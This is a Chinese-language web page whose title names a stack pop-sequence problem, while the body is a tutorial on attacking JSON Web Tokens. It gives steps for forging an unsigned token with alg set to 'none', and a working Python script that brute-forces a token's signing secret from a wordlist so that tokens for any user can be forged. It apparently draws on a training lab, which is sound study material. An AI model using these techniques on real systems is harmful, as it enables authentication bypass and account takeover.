1. 程式人生 > 其它 >出棧序列問題

出棧序列問題

一、介紹

1、使用者端登入,使用者名稱和密碼在請求中被髮往伺服器

2、(確認登入資訊正確後)伺服器生成 JSON 頭部和宣告,將登入資訊寫入 JSON 的宣告中(通常不 應寫入密碼,因為 JWT 是不加密的),並用 secret 用指定演算法進行加密,生成該使用者的 JWT。此時, 伺服器並沒有儲存登入狀態資訊。

3、伺服器將 JWT(通過響應)返回給客戶端

4、使用者下次會話時,客戶端會自動將 JWT 寫在 HTTP 請求頭部的 Authorization 欄位中

5、伺服器對 JWT 進行驗證,若驗證成功,則確認此使用者的登入狀態

6、伺服器返回響應

7、JWT由三部分組成,頭部,宣告,簽名,以.
間隔

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ

頭部:eyJhbGciOiJIUzUxMiJ9

宣告:eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ

簽名(金鑰secret和頭部中的alg加密方式組成):lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ
alg:簽名的加密方式

iat:jwt的簽發時間

exp:jwt的過期時間,這個過期時間必須要大於簽發時間

iss: jwt簽發者

sub: jwt所面向的使用者

aud: 接收jwt的一方

nbf: 定義在什麼時間之前,該jwt都是不可用的.

jti: jwt的唯一身份標識,主要用來作為一次性token,從而回避重放攻擊。

二、繞過簽名登入

1、前提是後端沒有對簽名進行驗證,導致我們可以繞過

2、頭部和宣告都是base64加密的,可以解密出一些基本資訊

3、我們偽造基本資訊,然後將alg加密方式置為none或者secret置為[],使得簽名失效,然後base64加密,構造新的JWT

4、將簽名刪掉,然後拼接頭部和宣告

5、在HTTP傳輸過程中,Base64編碼中的"=","+","/"等特殊符號通過URL解碼通常容易產生歧義,因此產生了與URL相容的Base64URL編碼在Base64URL編碼中,"+"會變成"-","/"會變成"_","="會被去掉,以此達到url safe的目的

6、替換資料包中的JWT,從而繞過身份驗證

三、爆破簽名金鑰

import jwt
import termcolor
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'
    with open('/YOUR-PATH/Top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

1、爆破出來金鑰,然後自己構造JWT,從而導致任意使用者登入